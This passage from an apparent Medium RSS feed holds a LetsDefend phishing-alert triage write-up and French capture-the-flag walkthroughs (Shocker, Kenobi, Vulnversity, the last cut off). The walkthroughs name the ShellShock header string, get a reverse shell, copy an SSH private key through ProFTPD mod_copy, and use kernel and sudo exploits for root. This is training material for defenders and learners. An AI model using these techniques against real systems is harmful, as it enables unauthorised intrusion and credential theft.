href="https://mxtoolbox.com/SuperTool.aspx?action=mx%3amicrosoft.com&amp;run=toolpage">Network Tools: DNS,IP,Email</a></p><p><a href="https://whois.domaintools.com/104.47.53.36">https://whois.domaintools.com/104.47.53.36</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d86dbf5dd3e5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lets Defend — Phishing Mail Detected]]></title>
            <link>https://bdure.medium.com/lets-defend-phishing-mail-detected-beb1ea927937?source=rss-e990418fda------2</link>
            <guid isPermaLink="false">https://medium.com/p/beb1ea927937</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[mitre]]></category>
            <category><![CDATA[opsec]]></category>
            <dc:creator><![CDATA[Malware Ben]]></dc:creator>
            <pubDate>Sun, 16 Jan 2022 18:07:01 GMT</pubDate>
            <atom:updated>2022-01-16T18:07:01.901Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lets Defend — Phishing Mail Detected</h3><p><strong>SOC146 — Phishing Mail Detected — Excel 4.0 Macros</strong></p><p><strong>LetsDefend</strong><br>LetsDefend is a platform for practical training for blue team members. You can improve your skills in log analysis, incident handling, malware analysis and endpoint analysis.</p><p><a href="https://letsdefend.io/">LetsDefend - Blue Team Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Xy6OM8rahx7mz9Pq.png" /></figure><p><strong>SOC146 — Phishing Mail Detected — Excel 4.0 Macros</strong></p><p>Today we will analyze a real phishing scenario. Phishing is a type of social engineering attack often used to steal user data, including login credentials and credit card numbers. The recipient is tricked into clicking a malicious link, or downloading a malicious attachment, which can lead to the installation of malware.</p><h3><strong>Monitoring</strong></h3><p>Our investigation start at the Monitoring page which simulates a real working SOC environment. More details about the incident can be found here. Looking at the details, we can see the source address, SMTP address and more. Our next step is to copy the sender address and look for it in our mailbox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tPcCFFqw9gVtncKyFVBkHg.png" /><figcaption>Monitoring Window</figcaption></figure><h3><strong>Mailbox</strong></h3><p>By searching for the source address in the mailbox, we find the copy of the email that generated the alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dleQLglCFefY4chTCc-vXg.png" /><figcaption>Copy of the malicious email</figcaption></figure><p>We can extract important information found in the email, that could be useful in the future :</p><ul><li><strong>Subject</strong>: RE: Meeting Notes</li><li><strong>Sender:</strong> trenton@tritowncomputers[.]com</li><li><strong>Recipient(s):</strong> lars@letsdefend[.]com</li><li><strong>Attachment(s):</strong> 11f44531fb088d31307d87b01e8eabff.zip</li></ul><p>Next, we will download the attachment and unzip it in a safe environment. In our case, we are using REMnux (<a href="https://remnux.org/">https://remnux.org/</a>).</p><p>After unzipping the attachment, we found three files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*aZy0jyK4H2TZ-8aZkHvcQQ.png" /></figure><h3>Generating MD5</h3><p>By using <em>md5sum, </em>a tool built-in in REMnux, we are calculating the hash of the files in the attachment. Hashes are useful for positively identifying a malware. The malicious software is run through a hashing program that produces a unique hash that identifies that malware (a sort of fingerprint).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*td3oZFsc_G87JS-Z6qpv2w.png" /></figure><h3>Virus Total</h3><p>Next, we perform a hash search on VirusTotal (VT). VT allows you to search through their dataset in order to identify files that match certain criteria. To search for a file that has a given MD5, just type in the hash under consideration in the main search box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*quLI4siCt-iBTr5gDjh3bw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6cP1Yur3Ge8-g_oFsLuQQ.png" /><figcaption>Virus Total Result Window</figcaption></figure><p>According to VT, the three files are flagged malicious. At the time of our scan, the result reports 30 antivirus engines claiming the excel file has malicious. And 8 different antivirus engines claiming the DLL is malicious.</p><h3>Anyrun Sandbox</h3><p>Anyrun is an interactive malware analysis sandbox. The service detects, analyzes, and monitors cybersecurity threats in a given file, URL or executable. It shows all processes in real-time and an analyst can notice all malicious operations before the final version of the report.</p><p>Below, the results of analysis of our malicious excel file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*95QvxU9KfZiRYulj4bnVTQ.png" /><figcaption>Anyrun Task Window</figcaption></figure><p>The sandbox detected unusual executions. The malware abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including DLLs, on Windows systems.</p><p>Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*zU5geAQiiUmJYbppKuFC_w.png" /></figure><p>The sandbox also detected malicious network traffic transmitted across the network. The malicious excel is trying to communicate with two IPs known to be malicious.</p><p>Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. In our case, the communication is using application layer protocol associated with web traffic (Port 443). Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client (victim) and server (attacker).</p><h3>IoCs</h3><ul><li>188[.]213[.]19[.]81</li><li>192[.]232[.]219[.]67</li><li>nws[.]visionconsulting[.]ro</li><li>royalpalm[.]sparkblue[.]lk</li><li>trenton@tritowncomputers[.]com</li><li>b775cd8be83696ca37b2fe00bcb40574</li><li>e03bde4862d4d93ac2ceed85abf50b18</li><li>8e6fbefcbac2a1967941fa692c82c3ca</li></ul><h3>Log Management</h3><p>We will now use the Log Management page and check if the C2s addresses were accessed. We have a result for the first IP 188[.]213[.]19[.]81. It was accessed by the host 172[.]16[.]17[.]57.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zoOvn5H9nS-eQ9enVNiqiA.png" /><figcaption>Log Management Window</figcaption></figure><p>By clicking on the magnifying glass, we can see further details about the raw data. The malicious domain was reached by the user and the action was allowed based on the output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*oBlG7luLrzmRfUls0qXVfA.png" /><figcaption>Raw Log Window</figcaption></figure><p>The same process was repeated for the second IP 192[.]232[.]219[.]67 and we can see a log entry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AbIpLwdgHFYwEwqXsGM70A.png" /><figcaption>Log Management Window</figcaption></figure><p>Further details on raw data gived the conclusion that the second malicious domain was also reached by the user and the action was allowed based on the output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*Hocsad5l55PBMtbLO6GHqg.png" /><figcaption>Raw Log Window</figcaption></figure><h3>Endpoint Management</h3><p>Since the malicious IoCs (IPs and domains) were reached by the device 172[.]16[.]17[.]57 our next step will be to contain the machine so no further exploit can occur.</p><p>Going to the Endpoint Security (EDR) page, we can contain the user machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4SCLo494sXuh55b5zu732g.png" /><figcaption>Endpoint Security Window</figcaption></figure><p>Looking at more details given by the EDR, we have the option to dig deeper by looking at the command history, network connections and process list.</p><p>In the command history, we can see that the command “regsvr32.exe -s ../iroto.dll” was executed on the endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*RALZFL9uNST3JpqjPE5cJQ.png" /><figcaption>Command History Window</figcaption></figure><p>Network connections showcased once again that the malicious IPs were communicating with the endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*IBIMH-gkXXZtQTuUIaKyhA.png" /><figcaption>Network Connections Window</figcaption></figure><p>And finally, the process history tree demonstrated that the process “regsvr32.exe” was run by the parent process “excel.exe” and had a command line of : “regsvr32.exe -s iroto.dll”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*72aUedR0nSwGY84ulQUVUg.png" /><figcaption>Process History Window</figcaption></figure><h3>Case Management Detail</h3><p>We now are packed with enough information to conclude that the alert is a true positive and that a incident should be open.</p><p>We can answer the questions of the playbook with the information we’ve collected during our analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NHSjkKHn3qhxzqUd2oLgBA.png" /><figcaption>Case Management Window</figcaption></figure><h3>Playbook</h3><p>A security playbook is a list of required steps and actions needed to successfully respond to any incident or threat. Playbooks provide a step-by-step approach to orchestration, helping security teams to establish standardized incident response processes and ensuring the steps are followed in compliance with regulatory frameworks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*U4ijBiFXVLODIhaMOKwg9g.png" /><figcaption>Playbook Window</figcaption></figure><ul><li>When was it sent?<br>June 13, 2021 2:11 P.M</li><li>What is the email’s SMTP address?<br>24.213.228.54</li><li>What is the sender address?<br>trenton@tritowncomputers[.]com</li><li>What is the recipient address?<br>lars@letsdefend.io</li><li>Is the mail content suspicious?<br>Yes.</li><li>Are there any attachment?<br>Yes.</li></ul><h3><strong>References</strong></h3><ul><li><a href="https://www.virustotal.com/gui/file/1df68d55968bb9d2db4d0d18155188a03a442850ff543c8595166ac6987df820/community">VirusTotal</a></li><li><a href="https://any.run/report/1df68d55968bb9d2db4d0d18155188a03a442850ff543c8595166ac6987df820/c4210bc2-1ada-411f-a98f-040ac7f3a6f6">Malware analysis research-1646684671.xls Suspicious activity | ANY.RUN - Malware Sandbox Online</a></li><li><a href="https://www.hybrid-analysis.com/sample/1df68d55968bb9d2db4d0d18155188a03a442850ff543c8595166ac6987df820">Free Automated Malware Analysis Service - powered by Falcon Sandbox</a></li><li><a href="https://www.hybrid-analysis.com/sample/1df68d55968bb9d2db4d0d18155188a03a442850ff543c8595166ac6987df820/60fc21326ee23148de4dd64e">Free Automated Malware Analysis Service - powered by Falcon Sandbox - Viewing online file analysis results for &#39;research-1646684671.xls&#39;</a></li><li><a href="https://www.hybrid-analysis.com/sample/1df68d55968bb9d2db4d0d18155188a03a442850ff543c8595166ac6987df820/60c6774046f00358a300ba6f">Free Automated Malware Analysis Service - powered by Falcon Sandbox - Viewing online file analysis results for &#39;research-1646684671.xls&#39;</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=beb1ea927937" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shocker (Hack The Box) — Français]]></title>
            <link>https://bdure.medium.com/shocker-hack-the-box-fran%C3%A7ais-1cee1b0f6e4c?source=rss-e990418fda------2</link>
            <guid isPermaLink="false">https://medium.com/p/1cee1b0f6e4c</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[Malware Ben]]></dc:creator>
            <pubDate>Wed, 09 Jun 2021 03:48:54 GMT</pubDate>
            <atom:updated>2021-06-09T03:48:54.358Z</atom:updated>
            <content:encoded><![CDATA[<h3>Shocker (Hack The Box) — Français</h3><p>Aujourd’hui nous allons root la machine Shocker sur <a href="https://hackthebox.eu/">HackTheBox</a>. Nous utiliserons la reconnaissance active pour identifier les services potentiellement vulnérables. Par la suite, nous exploiterons la vulnérabilité ShellShock. Et enfin, nous escaladerons nos privilèges grâce aux privilèges sudo de <em>perl</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/0*krm4BwCM4W5JlmXc.png" /></figure><h3>Énumeration</h3><ol><li>Identification des ports ouverts</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fNuLhTFeimrzMk0ZzKLuNA.png" /><figcaption>Résultat de nmap</figcaption></figure><p>Nous identifions deux ports d’ouvert. Nous avons le port<strong> 80 (HTTP)</strong> et le port <strong>2222 (SSH)</strong>.</p><p>Il est possible d’identifier l’OS grâce au banner HTTP sur le site <a href="https://launchpad.net/">https://launchpad.net</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5I6z3HEDieLqMalRSFFb9Q.png" /><figcaption><a href="https://launchpad.net/">https://launchpad.net</a></figcaption></figure><p>Le site LaunchPad identifie l’OS de notre hôte cible comme<strong> Xenial</strong>.</p><h3>Web</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hJwbUVaKV6VX4vV95qoxXg.png" /><figcaption>Page d’accueil du serveur web</figcaption></figure><p>La page d’accueil nous présente rien d’intéressant à part une photo. La prochaine étape est d’éxecuter le logiciel <a href="https://github.com/OJ/gobuster">GoBuster</a>.</p><h3><strong>GoBuster</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HuCfFORro_wZCU_JqfbnbQ.png" /><figcaption>Résultat de Gobuster</figcaption></figure><p>Nous avons le répertoire<strong> /cgi-bin/</strong> qui semble intéressant. En effet, ce répertoire peut potentiellement rendre notre hôte vulnérable à la vulnérabilité de ShellShock.</p><p>Identifions d’autres répertoires ou fichiers à l’intérieur de <em>/cgi-bin</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C7Rr1IEM1BkAjduAtzCIXA.png" /><figcaption>Résultat de Gobuster</figcaption></figure><p>Nous avons un fichier /user.sh se trouvant dans le répertoire /cgi-bin. Nous nous rapprochons de plus en plus de l’identification d’une vulnérabilité ShellShock.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_tL7dwv8wzHmcuOvPTwHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*EQwveHizOg7drnNPUm4Fow.png" /><figcaption>Fichier user.sh</figcaption></figure><p>Le fichier /user.sh ne contient aucuns informations intéressantes. Passons à l’étape de test pour identifier une vulnérabilité ShellShock.</p><p>En se basant sur l’article suivant : <a href="https://blog.cloudflare.com/inside-shellshock/">https://blog.cloudflare.com/inside-shellshock/</a>. Nous déterminons qu’un serveur vulnérable à ShellShock doit contenir dans son Header le string suivant : () { :; };</p><p>Testons pour voir.</p><h3><strong>ShellShock</strong></h3><p>Capturons la requête GET avec le logiciel BurpSuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*coJ6Vs9MRLgbUjbov7pv0A.png" /><figcaption>Requête GET sur Burp Suite</figcaption></figure><p>Modifions une donnée header pour notre string magique : () { :; }; Nous y ajouterons une requête ping pour tester la vulnérabilité. Si nous recevons une réponse, nous savons que l’hôte est vulnérable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*P6zRJWQJTXNBzE6NU2zbyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9EkgjFaXu9mcRiatSgsO6A.png" /></figure><p>L’hôte est vulnérable. En effet, nous avons reçu une réponse à notre requête ICMP (Ping). Tentons d’avoir un reverse shell.</p><h3>Reverse Shell</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*ZeAKfAdCN5CsLm09zchppw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MvYiDyKSLaaNJ34rdRUkuw.png" /></figure><p>Boom ! Reverse shell, on adore ça.</p><h3>Escalation de privilèges</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9-9laTbvqL2NXNjnsFTBA.png" /></figure><p>Nous pouvons éxecuter la commande /usr/bin/perl avec les privilèges de l’utilisateur root.</p><p>Tentons d’exploiter cette fonctionnalité, merci à <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*vEuCNXbkwuBYRlDtgYbcWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nM3v8UAiLAWhJa-1iGUCsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*UeiHHbJO3OfroDORdmmngQ.png" /></figure><p>R00T !</p><p>Merci de partager, à la prochaine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1cee1b0f6e4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kenobi (Version Française)]]></title>
            <link>https://bdure.medium.com/kenobi-version-fran%C3%A7aise-d82297381fa7?source=rss-e990418fda------2</link>
            <guid isPermaLink="false">https://medium.com/p/d82297381fa7</guid>
            <dc:creator><![CDATA[Malware Ben]]></dc:creator>
            <pubDate>Wed, 05 May 2021 13:37:44 GMT</pubDate>
            <atom:updated>2021-05-05T13:37:44.401Z</atom:updated>
            <content:encoded><![CDATA[<p>Aujourd’hui nous allons mener un test d’intrusion sur la machine Kenobi sur <a href="https://tryhackme.com/">TryHackMe</a>. Nous utiliserons la reconnaissance active pour identifier les services potentiellement vulnérables. Par la suite, nous exploiterons une mauvaise configuration sur l’un des services. Et enfin, nous escaladerons nos privilèges grâce à une technique relativement simple.</p><p><a href="https://tryhackme.com/">TryHackMe | Cyber Security Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*sYBHxKNBVCHZvJpSDD8dbQ.png" /></figure><h3>Énumération</h3><ol><li>Identifier les ports ouverts</li></ol><pre>┌──(ben㉿kali)-[~/thm/kenobi]<br>└─$ nmap -Pn -oN nmap/initial 10.10.0.119<br>Host discovery disabled (-Pn). All addresses will be marked &#39;up&#39; and scan times will be slower.<br>Starting Nmap 7.91 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2021-05-04 16:52 EDT<br>Nmap scan report for 10.10.0.119<br>Host is up (0.11s latency).<br>Not shown: 993 closed ports<br>PORT     STATE SERVICE<br>21/tcp   open  ftp<br>22/tcp   open  ssh<br>80/tcp   open  http<br>111/tcp  open  rpcbind<br>139/tcp  open  netbios-ssn<br>445/tcp  open  microsoft-ds<br>2049/tcp open  nfs</pre><p>2. Identifier les versions</p><pre>┌──(ben㉿kali)-[~/thm/kenobi]<br>└─$ nmap -Pn -p21,22,80,111,139,445,2049 -sV -sC -oN nmap/targeted 10.10.0.119<br>Host discovery disabled (-Pn). All addresses will be marked &#39;up&#39; and scan times will be slower.<br>Starting Nmap 7.91 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2021-05-04 16:54 EDT<br>Nmap scan report for 10.10.0.119<br>Host is up (0.11s latency).</pre><pre>PORT     STATE SERVICE     VERSION<br>21/tcp   open  ftp         ProFTPD 1.3.5<br>22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)<br>|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)<br>|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)<br>80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))<br>| http-robots.txt: 1 disallowed entry <br>|_/admin.html<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>111/tcp  open  rpcbind     2-4 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2,3,4        111/tcp   rpcbind<br>|   100000  2,3,4        111/udp   rpcbind<br>|   100000  3,4          111/tcp6  rpcbind<br>|   100000  3,4          111/udp6  rpcbind<br>|   100003  2,3,4       2049/tcp   nfs<br>|   100003  2,3,4       2049/tcp6  nfs<br>|   100003  2,3,4       2049/udp   nfs<br>|   100003  2,3,4       2049/udp6  nfs<br>|   100005  1,2,3      37731/tcp   mountd<br>|   100005  1,2,3      40467/udp6  mountd<br>|   100005  1,2,3      52844/udp   mountd<br>|   100005  1,2,3      60905/tcp6  mountd<br>|   100021  1,3,4      36221/tcp6  nlockmgr<br>|   100021  1,3,4      39821/tcp   nlockmgr<br>|   100021  1,3,4      44764/udp6  nlockmgr<br>|   100021  1,3,4      52179/udp   nlockmgr<br>|   100227  2,3         2049/tcp   nfs_acl<br>|   100227  2,3         2049/tcp6  nfs_acl<br>|   100227  2,3         2049/udp   nfs_acl<br>|_  100227  2,3         2049/udp6  nfs_acl<br>139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)<br>2049/tcp open  nfs_acl     2-3 (RPC #100227)<br>Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Host script results:<br>|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s<br>|_nbstat: NetBIOS name: KENOBI, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| smb-os-discovery: <br>|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)<br>|   Computer name: kenobi<br>|   NetBIOS computer name: KENOBI\x00<br>|   Domain name: \x00<br>|   FQDN: kenobi<br>|_  System time: 2021-05-04T15:54:16-05:00<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2021-05-04T20:54:16<br>|_  start_date: N/A</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 16.32 seconds</pre><h3>FTP</h3><p>Version : <em>ProFTPD 1.3.5</em></p><ol><li>Pouvons-nous nous logger avec le compte ‘Anonymous’?</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JwyW4hbJqRDL-DuNkET63w.png" /></figure><p>Non! Continuons.</p><h3>SSH</h3><p>Version : <em>OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)</em></p><p>Nous avons aucun credentials. Passons à d’autres services</p><h3>HTTP</h3><p>Version :</p><ol><li>Identifions la page d’accueil</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*E80H17hZjyoxMesqUef9FA.png" /></figure><p>2. Identifions les répertoires du site web</p><p>Outil utilisé : Dirsearch (<a href="https://github.com/maurosoria/dirsearch">https://github.com/maurosoria/dirsearch</a>)<em>/robots.txt et /admin.html</em></p><p>3. Visitons les répertoires</p><p><em>/robots.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*-ZltaY6vOgbn1zTfPIyEtw.png" /></figure><p><em>/admin.html</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*ZKazsQ8VsIpvTdwcCCWLpA.png" /></figure><h3>SMB</h3><p>Version : <em>Samba smbd 4.3.11-Ubuntu</em></p><ol><li>Pouvons-nous énumérer les dossiers de partages <em>SMB</em>?</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHfRatUBtYi6sUJbgFuyHw.png" /></figure><p>Oui ! Continuons.</p><p>2. Pouvons-nous accéder à ces dossiers de partages?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hl4lgFcX6-lzke6A54nJRw.png" /></figure><p>Oui. Nous pouvons accéder au dossier de partage ‘anonyous’. Il se trouve qu’un fichier <em>log.txt</em> s’y trouve. Téléchargons le, et allons le lire.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2BxRUXhB9IyIZv5iPIcgng.png" /></figure><p>Ce fichier divulgue des informations critiques. Par exemple : <br>Identifiant : kenobi<br>La structure du file system : <em>/home/kenobi/</em><br>La configuration complète du service <em>FTP</em>.</p><h3>NFS</h3><ol><li>Pouvons-nous mount un répertoire du hôte cible vers notre machine Kali Linux?</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hhEeqUNzk0IrdG6_DTGHig.png" /></figure><p>Oui. Le répertoire <em>/var *</em> (et tous les répertoires qui suivent après)</p><p>2. Nous allons mount le répertoire <em>/var</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l6CwxxP8RwB0KdeYALRALQ.png" /></figure><p>Ok.</p><p>3. Lootons</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jija75JAK83D3KOKn-EeNw.png" /></figure><h3>Exploitation</h3><ol><li>Recherchons si un <em>exploit </em>n’est pas disponible sur le web pour la version du service <em>FTP</em>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qL_u1yAWwJCAuWsPAtoj6g.png" /></figure><p>Nous avons le choix entre un <em>RCE</em> qui permettrait d’exécuter des commandes arbitraires dans le système de notre cible. Et la deuxième est une vulnérabilité qui permettrait de copier des fichiers (ça nous permettrait de copier le fichier <em>id_rsa SSH</em>)</p><p>Dans notre cas, nous choisirons la vulnérabilité qui nous permet de copier des fichiers (<a href="http://www.proftpd.org/docs/contrib/mod_copy.html#SITE_CPFR">http://www.proftpd.org/docs/contrib/mod_copy.html#SITE_CPFR</a>). <br>En effet, nous avons la structure du <em>PATH</em> pour copier la clé <em>SSH</em> de l’utilisateur kenobi. Et nous avons mount le répertoire <em>/var *</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_jWCaJNInsafAew_XxMvQ.png" /></figure><p>Sur la photo ci-haut, nous avons copié le fichier <em>/home/kenobi/.ssh/id_rsa</em> vers un répertoire (<em>/var/tmp</em>) sur lequel nous avons le droit de lire et d’écrire.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CHr2phDUyOj8FGq62otLoQ.png" /></figure><p>2. Copions le fichier <em>id_rsa</em> dans notre machine <em>Kali Linux</em> et changeons la permission du fichier (<em>chmod</em> 600)</p><p>3. Connectons-nous à <em>SSH</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aeRQ_-sUa31vgvkVteQ7-w.png" /></figure><p>Succès !</p><h3>Escalade de privilèges</h3><p><strong>Kernel Exploit</strong></p><ol><li>Identifions la version du système</li></ol><p>Version du Kernel : <em>4.8.0.58-generic</em><br>OS : <em>Ubuntu 16.04</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZNE5ojgP8D1CKJ7sYa8mZQ.png" /></figure><p>2. Cherchons la version <em>Kernel</em> et du <em>OS</em> sur Google avec le mot clé <em>exploit</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*11J8wLND7AtDNLft0NeHxA.png" /></figure><p><a href="https://www.exploit-db.com/exploits/43418">https://www.exploit-db.com/exploits/43418</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*6teWIoh7gV3ujD69xr6YmA.png" /></figure><p>Intéressant. La version <em>Kernel </em>et <em>OS</em> de notre cible est potentiellement vulnérable à cet <em>exploit</em>.</p><p>Testons le pour voir. Nous allons transférer l’<em>exploit</em> dans notre machine <em>Kali Linux</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3UaklZZKQZGhvu8RPltSow.png" /></figure><p>Compilons…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zews4X8-qTXV5fE37KkbsA.png" /></figure><p>Transférons…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N-uWc0eLn3l7kVSlDxW8rg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DUPIWRODiuLgVlWUwXcweQ.png" /></figure><p>Exécutons…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TKarIjBEjvuZjnH_4kcGeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nTZE7hroVkOpGpnvylJ-hQ.png" /></figure><p><em>Root !</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d82297381fa7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnversity (Version Française)]]></title>
            <link>https://bdure.medium.com/vulnversity-version-fran%C3%A7aise-1a04fa198077?source=rss-e990418fda------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a04fa198077</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[vulnversity]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Malware Ben]]></dc:creator>
            <pubDate>Tue, 04 May 2021 17:35:20 GMT</pubDate>
            <atom:updated>2021-05-04T17:35:20.891Z</atom:updated>
            <content:encoded><![CDATA[<p>Aujourd’hui nous allons explorer la chambre <a href="https://tryhackme.com/room/vulnversity">Vulnversity</a> sur TryHackMe. Nous utiliserons la reconnaissance active pour identifier des services vulnérables. Ensuite, nous effectuerons une attaque web pour enfin élever nos privilèges avec une technique d’élévation.</p><p><a href="https://tryhackme.com/">TryHackMe | Cyber Security Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*aonfR0avER0h8gKbZPrVeg.png" /></figure><h3>Énumération</h3><ol><li>Identifier les ports ouverts</li></ol><pre>┌──(ben㉿kali)-[~/thm/vulnversity]<br>└─$ nmap -Pn 10.10.244.106<br>Host discovery disabled (-Pn). All addresses will be marked &#39;up&#39; and scan times will be slower.<br>Starting Nmap 7.91 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2021-05-04 12:15 EDT<br>Nmap scan report for 10.10.244.106<br>Host is up (0.11s latency).<br>Not shown: 994 closed ports<br>PORT     STATE 